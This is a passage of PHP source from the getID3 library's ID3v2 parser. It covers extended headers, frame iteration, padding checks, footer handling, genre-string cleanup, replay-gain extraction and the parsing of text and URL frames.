					$thisfile_id3v2['exthead']['flag_bytes'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should always be 1
					$extended_header_offset += 1;

					$thisfile_id3v2['exthead']['flag_raw'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $thisfile_id3v2['exthead']['flag_bytes']));
					$extended_header_offset += $thisfile_id3v2['exthead']['flag_bytes'];

					$thisfile_id3v2['exthead']['flags']['update']       = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x40);
					$thisfile_id3v2['exthead']['flags']['crc']          = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x20);
					$thisfile_id3v2['exthead']['flags']['restrictions'] = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x10);

					if ($thisfile_id3v2['exthead']['flags']['update']) {
						$ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 0
						$extended_header_offset += 1;
					}

					if ($thisfile_id3v2['exthead']['flags']['crc']) {
						$ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 5
						$extended_header_offset += 1;
						$thisfile_id3v2['exthead']['flag_data']['crc'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $ext_header_chunk_length), true, false);
						$extended_header_offset += $ext_header_chunk_length;
					}

					if ($thisfile_id3v2['exthead']['flags']['restrictions']) {
						$ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 1
						$extended_header_offset += 1;

						// %ppqrrstt
						$restrictions_raw = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1));
						$extended_header_offset += 1;
						$thisfile_id3v2['exthead']['flags']['restrictions']['tagsize']  = ($restrictions_raw & 0xC0) >> 6; // p - Tag size restrictions
						$thisfile_id3v2['exthead']['flags']['restrictions']['textenc']  = ($restrictions_raw & 0x20) >> 5; // q - Text encoding restrictions
						$thisfile_id3v2['exthead']['flags']['restrictions']['textsize'] = ($restrictions_raw & 0x18) >> 3; // r - Text fields size restrictions
						$thisfile_id3v2['exthead']['flags']['restrictions']['imgenc']   = ($restrictions_raw & 0x04) >> 2; // s - Image encoding restrictions
						$thisfile_id3v2['exthead']['flags']['restrictions']['imgsize']  = ($restrictions_raw & 0x03) >> 0; // t - Image size restrictions

						$thisfile_id3v2['exthead']['flags']['restrictions_text']['tagsize']  = $this->LookupExtendedHeaderRestrictionsTagSizeLimits($thisfile_id3v2['exthead']['flags']['restrictions']['tagsize']);
						$thisfile_id3v2['exthead']['flags']['restrictions_text']['textenc']  = $this->LookupExtendedHeaderRestrictionsTextEncodings($thisfile_id3v2['exthead']['flags']['restrictions']['textenc']);
						$thisfile_id3v2['exthead']['flags']['restrictions_text']['textsize'] = $this->LookupExtendedHeaderRestrictionsTextFieldSize($thisfile_id3v2['exthead']['flags']['restrictions']['textsize']);
						$thisfile_id3v2['exthead']['flags']['restrictions_text']['imgenc']   = $this->LookupExtendedHeaderRestrictionsImageEncoding($thisfile_id3v2['exthead']['flags']['restrictions']['imgenc']);
						$thisfile_id3v2['exthead']['flags']['restrictions_text']['imgsize']  = $this->LookupExtendedHeaderRestrictionsImageSizeSize($thisfile_id3v2['exthead']['flags']['restrictions']['imgsize']);
					}

					if ($thisfile_id3v2['exthead']['length'] != $extended_header_offset) {
						$this->warning('ID3v2.4 extended header length mismatch (expecting '.intval($thisfile_id3v2['exthead']['length']).', found '.intval($extended_header_offset).')');
					}
				}

				$framedataoffset += $extended_header_offset;
				$framedata = substr($framedata, $extended_header_offset);
			} // end extended header


			while (isset($framedata) && (strlen($framedata) > 0)) { // cycle through until no more frame data is left to parse
				if (strlen($framedata) <= $this->ID3v2HeaderLength($id3v2_majorversion)) {
					// insufficient room left in ID3v2 header for actual data - must be padding
					$thisfile_id3v2['padding']['start']  = $framedataoffset;
					$thisfile_id3v2['padding']['length'] = strlen($framedata);
					$thisfile_id3v2['padding']['valid']  = true;
					for ($i = 0; $i < $thisfile_id3v2['padding']['length']; $i++) {
						if ($framedata{$i} != "\x00") {
							$thisfile_id3v2['padding']['valid'] = false;
							$thisfile_id3v2['padding']['errorpos'] = $thisfile_id3v2['padding']['start'] + $i;
							$this->warning('Invalid ID3v2 padding found at offset '.$thisfile_id3v2['padding']['errorpos'].' (the remaining '.($thisfile_id3v2['padding']['length'] - $i).' bytes are considered invalid)');
							break;
						}
					}
					break; // skip rest of ID3v2 header
				}
				if ($id3v2_majorversion == 2) {
					// Frame ID  $xx xx xx (three characters)
					// Size      $xx xx xx (24-bit integer)
					// Flags     $xx xx

					$frame_header = substr($framedata, 0, 6); // take next 6 bytes for header
					$framedata    = substr($framedata, 6);    // and leave the rest in $framedata
					$frame_name   = substr($frame_header, 0, 3);
					$frame_size   = getid3_lib::BigEndian2Int(substr($frame_header, 3, 3), 0);
					$frame_flags  = 0; // not used for anything in ID3v2.2, just set to avoid E_NOTICEs

				} elseif ($id3v2_majorversion > 2) {

					// Frame ID  $xx xx xx xx (four characters)
					// Size      $xx xx xx xx (32-bit integer in v2.3, 28-bit synchsafe in v2.4+)
					// Flags     $xx xx

					$frame_header = substr($framedata, 0, 10); // take next 10 bytes for header
					$framedata    = substr($framedata, 10);    // and leave the rest in $framedata

					$frame_name = substr($frame_header, 0, 4);
					if ($id3v2_majorversion == 3) {
						$frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0); // 32-bit integer
					} else { // ID3v2.4+
						$frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 1); // 32-bit synchsafe integer (28-bit value)
					}

					if ($frame_size < (strlen($framedata) + 4)) {
						$nextFrameID = substr($framedata, $frame_size, 4);
						if ($this->IsValidID3v2FrameName($nextFrameID, $id3v2_majorversion)) {
							// next frame is OK
						} elseif (($frame_name == "\x00".'MP3') || ($frame_name == "\x00\x00".'MP') || ($frame_name == ' MP3') || ($frame_name == 'MP3e')) {
							// MP3ext known broken frames - "ok" for the purposes of this test
						} elseif (($id3v2_majorversion == 4) && ($this->IsValidID3v2FrameName(substr($framedata, getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0), 4), 3))) {
							$this->warning('ID3v2 tag written as ID3v2.4, but with non-synchsafe integers (ID3v2.3 style). Older versions of (Helium2; iTunes) are known culprits of this. Tag has been parsed as ID3v2.3');
							$id3v2_majorversion = 3;
							$frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0); // 32-bit integer
						}
					}


					$frame_flags = getid3_lib::BigEndian2Int(substr($frame_header, 8, 2));
				}

				if ((($id3v2_majorversion == 2) && ($frame_name == "\x00\x00\x00")) || ($frame_name == "\x00\x00\x00\x00")) {
					// padding encountered

					$thisfile_id3v2['padding']['start']  = $framedataoffset;
					$thisfile_id3v2['padding']['length'] = strlen($frame_header) + strlen($framedata);
					$thisfile_id3v2['padding']['valid']  = true;

					$len = strlen($framedata);
					for ($i = 0; $i < $len; $i++) {
						if ($framedata{$i} != "\x00") {
							$thisfile_id3v2['padding']['valid'] = false;
							$thisfile_id3v2['padding']['errorpos'] = $thisfile_id3v2['padding']['start'] + $i;
							$this->warning('Invalid ID3v2 padding found at offset '.$thisfile_id3v2['padding']['errorpos'].' (the remaining '.($thisfile_id3v2['padding']['length'] - $i).' bytes are considered invalid)');
							break;
						}
					}
					break; // skip rest of ID3v2 header
				}

				if ($iTunesBrokenFrameNameFixed = self::ID3v22iTunesBrokenFrameName($frame_name)) {
					$this->warning('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))). [Note: this particular error has been known to happen with tags edited by iTunes (versions "X v2.0.3", "v3.0.1", "v7.0.0.70" are known-guilty, probably others too)]. Translated frame name from "'.str_replace("\x00", ' ', $frame_name).'" to "'.$iTunesBrokenFrameNameFixed.'" for parsing.');
					$frame_name = $iTunesBrokenFrameNameFixed;
				}
				if (($frame_size <= strlen($framedata)) && ($this->IsValidID3v2FrameName($frame_name, $id3v2_majorversion))) {

					unset($parsedFrame);
					$parsedFrame['frame_name']      = $frame_name;
					$parsedFrame['frame_flags_raw'] = $frame_flags;
					$parsedFrame['data']            = substr($framedata, 0, $frame_size);
					$parsedFrame['datalength']      = getid3_lib::CastAsInt($frame_size);
					$parsedFrame['dataoffset']      = $framedataoffset;

					$this->ParseID3v2Frame($parsedFrame);
					$thisfile_id3v2[$frame_name][] = $parsedFrame;

					$framedata = substr($framedata, $frame_size);

				} else { // invalid frame length or FrameID

					if ($frame_size <= strlen($framedata)) {

						if ($this->IsValidID3v2FrameName(substr($framedata, $frame_size, 4), $id3v2_majorversion)) {

							// next frame is valid, just skip the current frame
							$framedata = substr($framedata, $frame_size);
							$this->warning('Next ID3v2 frame is valid, skipping current frame.');

						} else {

							// next frame is invalid too, abort processing
							//unset($framedata);
							$framedata = null;
							$this->error('Next ID3v2 frame is also invalid, aborting processing.');

						}

					} elseif ($frame_size == strlen($framedata)) {

						// this is the last frame, just skip
						$this->warning('This was the last ID3v2 frame.');

					} else {

						// next frame is invalid too, abort processing
						//unset($framedata);
						$framedata = null;
						$this->warning('Invalid ID3v2 frame size, aborting.');

					}
					if (!$this->IsValidID3v2FrameName($frame_name, $id3v2_majorversion)) {

						switch ($frame_name) {
							case "\x00\x00".'MP':
							case "\x00".'MP3':
							case ' MP3':
							case 'MP3e':
							case "\x00".'MP':
							case ' MP':
							case 'MP3':
								$this->warning('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: !IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))). [Note: this particular error has been known to happen with tags edited by "MP3ext (www.mutschler.de/mp3ext/)"]');
								break;

							default:
								$this->warning('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: !IsValidID3v2FrameName("'.str_replace("\x00", ' ', $frame_name).'", '.$id3v2_majorversion.'))).');
								break;
						}

					} elseif (!isset($framedata) || ($frame_size > strlen($framedata))) {

						$this->error('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag). (ERROR: $frame_size ('.$frame_size.') > strlen($framedata) ('.(isset($framedata) ? strlen($framedata) : 'null').')).');

					} else {

						$this->error('error parsing "'.$frame_name.'" ('.$framedataoffset.' bytes into the ID3v2.'.$id3v2_majorversion.' tag).');

					}

				}
				$framedataoffset += ($frame_size + $this->ID3v2HeaderLength($id3v2_majorversion));

			}

		}


	//    Footer

	//    The footer is a copy of the header, but with a different identifier.
	//        ID3v2 identifier           "3DI"
	//        ID3v2 version              $04 00
	//        ID3v2 flags                %abcd0000
	//        ID3v2 size             4 * %0xxxxxxx

		if (isset($thisfile_id3v2_flags['isfooter']) && $thisfile_id3v2_flags['isfooter']) {
			$footer = $this->fread(10);
			if (substr($footer, 0, 3) == '3DI') {
				$thisfile_id3v2['footer'] = true;
				$thisfile_id3v2['majorversion_footer'] = ord($footer{3});
				$thisfile_id3v2['minorversion_footer'] = ord($footer{4});
			}
			if ($thisfile_id3v2['majorversion_footer'] <= 4) {
				$id3_flags = ord(substr($footer{5}));
				$thisfile_id3v2_flags['unsynch_footer']  = (bool) ($id3_flags & 0x80);
				$thisfile_id3v2_flags['extfoot_footer']  = (bool) ($id3_flags & 0x40);
				$thisfile_id3v2_flags['experim_footer']  = (bool) ($id3_flags & 0x20);
				$thisfile_id3v2_flags['isfooter_footer'] = (bool) ($id3_flags & 0x10);

				$thisfile_id3v2['footerlength'] = getid3_lib::BigEndian2Int(substr($footer, 6, 4), 1);
			}
		} // end footer

		if (isset($thisfile_id3v2['comments']['genre'])) {
			$genres = array();
			foreach ($thisfile_id3v2['comments']['genre'] as $key => $value) {
				foreach ($this->ParseID3v2GenreString($value) as $genre) {
					$genres[] = $genre;
				}
			}
			$thisfile_id3v2['comments']['genre'] = array_unique($genres);
			unset($key, $value, $genres, $genre);
		}

		if (isset($thisfile_id3v2['comments']['track'])) {
			foreach ($thisfile_id3v2['comments']['track'] as $key => $value) {
				if (strstr($value, '/')) {
					list($thisfile_id3v2['comments']['tracknum'][$key], $thisfile_id3v2['comments']['totaltracks'][$key]) = explode('/', $thisfile_id3v2['comments']['track'][$key]);
				}
			}
		}

		if (!isset($thisfile_id3v2['comments']['year']) && !empty($thisfile_id3v2['comments']['recording_time'][0]) && preg_match('#^([0-9]{4})#', trim($thisfile_id3v2['comments']['recording_time'][0]), $matches)) {
			$thisfile_id3v2['comments']['year'] = array($matches[1]);
		}


		if (!empty($thisfile_id3v2['TXXX'])) {
			// MediaMonkey does this, maybe others: write a blank RGAD frame, but put replay-gain adjustment values in TXXX frames
			foreach ($thisfile_id3v2['TXXX'] as $txxx_array) {
				switch ($txxx_array['description']) {
					case 'replaygain_track_gain':
						if (empty($info['replay_gain']['track']['adjustment']) && !empty($txxx_array['data'])) {
							$info['replay_gain']['track']['adjustment'] = floatval(trim(str_replace('dB', '', $txxx_array['data'])));
						}
						break;
					case 'replaygain_track_peak':
						if (empty($info['replay_gain']['track']['peak']) && !empty($txxx_array['data'])) {
							$info['replay_gain']['track']['peak'] = floatval($txxx_array['data']);
						}
						break;
					case 'replaygain_album_gain':
						if (empty($info['replay_gain']['album']['adjustment']) && !empty($txxx_array['data'])) {
							$info['replay_gain']['album']['adjustment'] = floatval(trim(str_replace('dB', '', $txxx_array['data'])));
						}
						break;
				}
			}
		}


		// Set avdataoffset
		$info['avdataoffset'] = $thisfile_id3v2['headerlength'];
		if (isset($thisfile_id3v2['footer'])) {
			$info['avdataoffset'] += 10;
		}

		return true;
	}


	public function ParseID3v2GenreString($genrestring) {
		// Parse genres into arrays of genreName and genreID
		// ID3v2.2.x, ID3v2.3.x: '(21)' or '(4)Eurodisco' or '(51)(39)' or '(55)((I think...)'
		// ID3v2.4.x: '21' $00 'Eurodisco' $00
		$clean_genres = array();

		// hack-fixes for some badly-written ID3v2.3 taggers, while trying not to break correctly-written tags
		if (($this->getid3->info['id3v2']['majorversion'] == 3) && !preg_match('#[\x00]#', $genrestring)) {
			// note: MusicBrainz Picard incorrectly stores plaintext genres separated by "/" when writing in ID3v2.3 mode, hack-fix here:
			// replace / with NULL, then replace back the two ID3v1 genres that legitimately have "/" as part of the single genre name
			if (preg_match('#/#', $genrestring)) {
				$genrestring = str_replace('/', "\x00", $genrestring);
				$genrestring = str_replace('Pop'."\x00".'Funk', 'Pop/Funk', $genrestring);
				$genrestring = str_replace('Rock'."\x00".'Rock', 'Folk/Rock', $genrestring);
			}

			// some other taggers separate multiple genres with semicolon, e.g. "Heavy Metal;Thrash Metal;Metal"
			if (preg_match('#;#', $genrestring)) {
				$genrestring = str_replace(';', "\x00", $genrestring);
			}
		}


		if (strpos($genrestring, "\x00") === false) {
			$genrestring = preg_replace('#\(([0-9]{1,3})\)#', '$1'."\x00", $genrestring);
		}

		$genre_elements = explode("\x00", $genrestring);
		foreach ($genre_elements as $element) {
			$element = trim($element);
			if ($element) {
				if (preg_match('#^[0-9]{1,3}#', $element)) {
					$clean_genres[] = getid3_id3v1::LookupGenreName($element);
				} else {
					$clean_genres[] = str_replace('((', '(', $element);
				}
			}
		}
		return $clean_genres;
	}


	public function ParseID3v2Frame(&$parsedFrame) {

		// shortcuts
		$info = &$this->getid3->info;
		$id3v2_majorversion = $info['id3v2']['majorversion'];

		$parsedFrame['framenamelong']  = $this->FrameNameLongLookup($parsedFrame['frame_name']);
		if (empty($parsedFrame['framenamelong'])) {
			unset($parsedFrame['framenamelong']);
		}
		$parsedFrame['framenameshort'] = $this->FrameNameShortLookup($parsedFrame['frame_name']);
		if (empty($parsedFrame['framenameshort'])) {
			unset($parsedFrame['framenameshort']);
		}

		if ($id3v2_majorversion >= 3) { // frame flags are not part of the ID3v2.2 standard
			if ($id3v2_majorversion == 3) {
				//    Frame Header Flags
				//    %abc00000 %ijk00000
				$parsedFrame['flags']['TagAlterPreservation']  = (bool) ($parsedFrame['frame_flags_raw'] & 0x8000); // a - Tag alter preservation
				$parsedFrame['flags']['FileAlterPreservation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x4000); // b - File alter preservation
				$parsedFrame['flags']['ReadOnly']              = (bool) ($parsedFrame['frame_flags_raw'] & 0x2000); // c - Read only
				$parsedFrame['flags']['compression']           = (bool) ($parsedFrame['frame_flags_raw'] & 0x0080); // i - Compression
				$parsedFrame['flags']['Encryption']            = (bool) ($parsedFrame['frame_flags_raw'] & 0x0040); // j - Encryption
				$parsedFrame['flags']['GroupingIdentity']      = (bool) ($parsedFrame['frame_flags_raw'] & 0x0020); // k - Grouping identity

			} elseif ($id3v2_majorversion == 4) {
				//    Frame Header Flags
				//    %0abc0000 %0h00kmnp
				$parsedFrame['flags']['TagAlterPreservation']  = (bool) ($parsedFrame['frame_flags_raw'] & 0x4000); // a - Tag alter preservation
				$parsedFrame['flags']['FileAlterPreservation'] = (bool) ($parsedFrame['frame_flags_raw'] & 0x2000); // b - File alter preservation
				$parsedFrame['flags']['ReadOnly']              = (bool) ($parsedFrame['frame_flags_raw'] & 0x1000); // c - Read only
				$parsedFrame['flags']['GroupingIdentity']      = (bool) ($parsedFrame['frame_flags_raw'] & 0x0040); // h - Grouping identity
				$parsedFrame['flags']['compression']           = (bool) ($parsedFrame['frame_flags_raw'] & 0x0008); // k - Compression
				$parsedFrame['flags']['Encryption']            = (bool) ($parsedFrame['frame_flags_raw'] & 0x0004); // m - Encryption
				$parsedFrame['flags']['Unsynchronisation']     = (bool) ($parsedFrame['frame_flags_raw'] & 0x0002); // n - Unsynchronisation
				$parsedFrame['flags']['DataLengthIndicator']   = (bool) ($parsedFrame['frame_flags_raw'] & 0x0001); // p - Data length indicator

				// Frame-level de-unsynchronisation - ID3v2.4
				if ($parsedFrame['flags']['Unsynchronisation']) {
					$parsedFrame['data'] = $this->DeUnsynchronise($parsedFrame['data']);
				}

				if ($parsedFrame['flags']['DataLengthIndicator']) {
					$parsedFrame['data_length_indicator'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 4), 1);
					$parsedFrame['data']                  =                           substr($parsedFrame['data'], 4);
				}
			}

			//    Frame-level de-compression
			if ($parsedFrame['flags']['compression']) {
				$parsedFrame['decompressed_size'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 4));
				if (!function_exists('gzuncompress')) {
					$this->warning('gzuncompress() support required to decompress ID3v2 frame "'.$parsedFrame['frame_name'].'"');
				} else {
					if ($decompresseddata = @gzuncompress(substr($parsedFrame['data'], 4))) {
					//if ($decompresseddata = @gzuncompress($parsedFrame['data'])) {
						$parsedFrame['data'] = $decompresseddata;
						unset($decompresseddata);
					} else {
						$this->warning('gzuncompress() failed on compressed contents of ID3v2 frame "'.$parsedFrame['frame_name'].'"');
					}
				}
			}
		}

		if (!empty($parsedFrame['flags']['DataLengthIndicator'])) {
			if ($parsedFrame['data_length_indicator'] != strlen($parsedFrame['data'])) {
				$this->warning('ID3v2 frame "'.$parsedFrame['frame_name'].'" should be '.$parsedFrame['data_length_indicator'].' bytes long according to DataLengthIndicator, but found '.strlen($parsedFrame['data']).' bytes of data');
			}
		}

		if (isset($parsedFrame['datalength']) && ($parsedFrame['datalength'] == 0)) {

			$warning = 'Frame "'.$parsedFrame['frame_name'].'" at offset '.$parsedFrame['dataoffset'].' has no data portion';
			switch ($parsedFrame['frame_name']) {
				case 'WCOM':
					$warning .= ' (this is known to happen with files tagged by RioPort)';
					break;

				default:
					break;
			}
			$this->warning($warning);

		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'UFID')) || // 4.1   UFID Unique file identifier
			(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'UFI'))) {  // 4.1   UFI  Unique file identifier
			//   There may be more than one 'UFID' frame in a tag,
			//   but only one with the same 'Owner identifier'.
			// <Header for 'Unique file identifier', ID: 'UFID'>
			// Owner identifier        <text string> $00
			// Identifier              <up to 64 bytes binary data>
			$exploded = explode("\x00", $parsedFrame['data'], 2);
			$parsedFrame['ownerid'] = (isset($exploded[0]) ? $exploded[0] : '');
			$parsedFrame['data']    = (isset($exploded[1]) ? $exploded[1] : '');

		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'TXXX')) || // 4.2.2 TXXX User defined text information frame
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'TXX'))) {    // 4.2.2 TXX  User defined text information frame
			//   There may be more than one 'TXXX' frame in each tag,
			//   but only one with the same description.
			// <Header for 'User defined text information frame', ID: 'TXXX'>
			// Text encoding     $xx
			// Description       <text string according to encoding> $00 (00)
			// Value             <text string according to encoding>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
				$frame_textencoding_terminator = "\x00";
			}
			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
			}
			$frame_description = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (in_array($frame_description, array("\x00", "\x00\x00", "\xFF\xFE", "\xFE\xFF"))) {
				// if description only contains a BOM or terminator then make it blank
				$frame_description = '';
			}
			$parsedFrame['encodingid']  = $frame_textencoding;
			$parsedFrame['encoding']    = $this->TextEncodingNameLookup($frame_textencoding);

			$parsedFrame['description'] = trim(getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $frame_description));
			$parsedFrame['data'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator));
			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
				$commentkey = ($parsedFrame['description'] ? $parsedFrame['description'] : (isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) ? count($info['id3v2']['comments'][$parsedFrame['framenameshort']]) : 0));
				if (!isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) || !array_key_exists($commentkey, $info['id3v2']['comments'][$parsedFrame['framenameshort']])) {
					$info['id3v2']['comments'][$parsedFrame['framenameshort']][$commentkey] = trim(getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']));
				} else {
					$info['id3v2']['comments'][$parsedFrame['framenameshort']][]            = trim(getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']));
				}
			}
			//unset($parsedFrame['data']); do not unset, may be needed elsewhere, e.g. for replaygain


		} elseif ($parsedFrame['frame_name']{0} == 'T') { // 4.2. T??[?] Text information frame
			//   There may only be one text information frame of its kind in an tag.
			// <Header for 'Text information frame', ID: 'T000' - 'TZZZ',
			// excluding 'TXXX' described in 4.2.6.>
			// Text encoding                $xx
			// Information                  <text string(s) according to encoding>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
			}

			$parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset);

			$parsedFrame['encodingid'] = $frame_textencoding;
			$parsedFrame['encoding']   = $this->TextEncodingNameLookup($frame_textencoding);

			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
				// ID3v2.3 specs say that TPE1 (and others) can contain multiple artist values separated with /
				// This of course breaks when an artist name contains slash character, e.g. "AC/DC"
				// MP3tag (maybe others) implement alternative system where multiple artists are null-separated, which makes more sense
				// getID3 will split null-separated artists into multiple artists and leave slash-separated ones to the user
				switch ($parsedFrame['encoding']) {
					case 'UTF-16':
					case 'UTF-16BE':
					case 'UTF-16LE':
						$wordsize = 2;
						break;
					case 'ISO-8859-1':
					case 'UTF-8':
					default:
						$wordsize = 1;
						break;
				}
				$Txxx_elements = array();
				$Txxx_elements_start_offset = 0;
				for ($i = 0; $i < strlen($parsedFrame['data']); $i += $wordsize) {
					if (substr($parsedFrame['data'], $i, $wordsize) == str_repeat("\x00", $wordsize)) {
						$Txxx_elements[] = substr($parsedFrame['data'], $Txxx_elements_start_offset, $i - $Txxx_elements_start_offset);
						$Txxx_elements_start_offset = $i + $wordsize;
					}
				}
				$Txxx_elements[] = substr($parsedFrame['data'], $Txxx_elements_start_offset, $i - $Txxx_elements_start_offset);
				foreach ($Txxx_elements as $Txxx_element) {
					$string = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $Txxx_element);
					if (!empty($string)) {
						$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $string;
					}
				}
				unset($string, $wordsize, $i, $Txxx_elements, $Txxx_element, $Txxx_elements_start_offset);
			}

		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'WXXX')) || // 4.3.2 WXXX User defined URL link frame
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'WXX'))) {    // 4.3.2 WXX  User defined URL link frame
			//   There may be more than one 'WXXX' frame in each tag,
			//   but only one with the same description
			// <Header for 'User defined URL link frame', ID: 'WXXX'>
			// Text encoding     $xx
			// Description       <text string according to encoding> $00 (00)
			// URL               <text string>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
				$frame_textencoding_terminator = "\x00";
			}
			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
			}
			$frame_description = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (in_array($frame_description, array("\x00", "\x00\x00", "\xFF\xFE", "\xFE\xFF"))) {
				// if description only contains a BOM or terminator then make it blank
				$frame_description = '';
			}
			$parsedFrame['data'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator));

			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator);
			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
			}
			if ($frame_terminatorpos) {
				// there are null bytes after the data - this is not according to spec
				// only use data up to first null byte
				$frame_urldata = (string) substr($parsedFrame['data'], 0, $frame_terminatorpos);
			} else {
				// no null bytes following data, just use all data
				$frame_urldata = (string) $parsedFrame['data'];
			}

			$parsedFrame['encodingid']  = $frame_textencoding;
			$parsedFrame['encoding']    = $this->TextEncodingNameLookup($frame_textencoding);

			$parsedFrame['url']         = $frame_urldata;
			$parsedFrame['description'] = $frame_description;
			if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) {
				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['url']);
			}
			unset($parsedFrame['data']);


		} elseif ($parsedFrame['frame_name']{0} == 'W') { // 4.3. W??? URL link frames
			//   There may only be one URL link frame of its kind in a tag,
			//   except when stated otherwise in the frame description
			// <Header for 'URL link frame', ID: 'W000' - 'WZZZ', excluding 'WXXX'
			// described in 4.3.2.>
			// URL              <text string>

			$parsedFrame['url'] = trim($parsedFrame['data']);
			if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) {
				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $parsedFrame['url'];
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'IPLS')) || // 4.4  IPLS Involved people list (ID3v2.3 only)
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'IPL'))) {     // 4.4  IPL  Involved people list (ID3v2.2 only)
			// http://id3.org/id3v2.3.0#sec4.4
			//   There may only be one 'IPL' frame in each tag
			// <Header for 'User defined URL link frame', ID: 'IPL'>
			// Text encoding     $xx
			// People list strings    <textstrings>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
			}
			$parsedFrame['encodingid'] = $frame_textencoding;
			$parsedFrame['encoding']   = $this->TextEncodingNameLookup($parsedFrame['encodingid']);
